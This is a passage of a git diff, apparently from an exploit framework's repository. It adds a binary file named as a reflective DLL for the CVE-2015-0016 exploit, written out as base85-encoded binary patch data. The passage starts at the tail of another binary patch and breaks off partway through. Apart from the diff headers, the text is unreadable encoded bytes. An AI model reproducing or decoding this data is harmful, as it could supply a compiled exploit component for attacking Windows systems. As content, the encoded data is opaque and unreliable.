zQkIn!WmSo3ajjn))DqfV?Y>?#9?*HZK=*0L44dobhPi1To6k*yaW>56*#cW<9X!Q{ z`3Y~gIxNEqSurbNrK}_SxH|eN{KtbL7z*ACF2aU-(I7%1EFyw9bxyt0;KZGhTXwhI zU3bsjcMse{_sI2on_kH)d)pofVI5&#M2RXfWk=an_LP5QPqGm$s;wBS#%mM5nG|-& z4%-o1&OIwOh5SN*Ze(5AP|nt)q?XkawY@s86-|2eF1<(R=zV%Nzam|vOLUnY*oQVc zCJ4bLf%uhnr9<gd6va?Zlv8C*T~{~MP4$63uP^9(hC&Uj&L%Bkg$$FME9R=XX6~AM zW|1wjCDzXe`F;L?&+}Ej#@FR`x9WElsf(x$YNOhuX4I^j)e73AHm#N29r)k?^MCH1 zx^-BeCa=|N_c}ep6JFShdU0>iOL-Zu;7!YzE8=q;&QH^7(Ofi_%;j?n&eloB$+o#u zwP)WvFb~b6>e`){rzT-_te!QnMkXVvmHAma>tLNsVRB^!3$ZYZAiDb5AWN_m);hzo ztiUGOG@E62**!ML?z0Eg2soSTGFxG*Yz^_S!8TcmmDx7iVY_UP?Xv@R$d1@Cd(KYS zDI>g-3m%1UGJFocS>Q#!$TxV2Z}T;=E;g`&B~cdJVn^(XJ#ioo#fdn55igBSlhfj~ zIvq}@qd11c9pQwWuoH2jPR!}YXP?@u=7E|AY96S0pyq*^2WlRud7$Qjng@P39{3N- CmH+_& literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll new file mode 100755 index 0000000000000000000000000000000000000000..2d2f1dbba3fb6fecf1824311cedf084f2b4c19ae GIT binary patch literal 83456 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 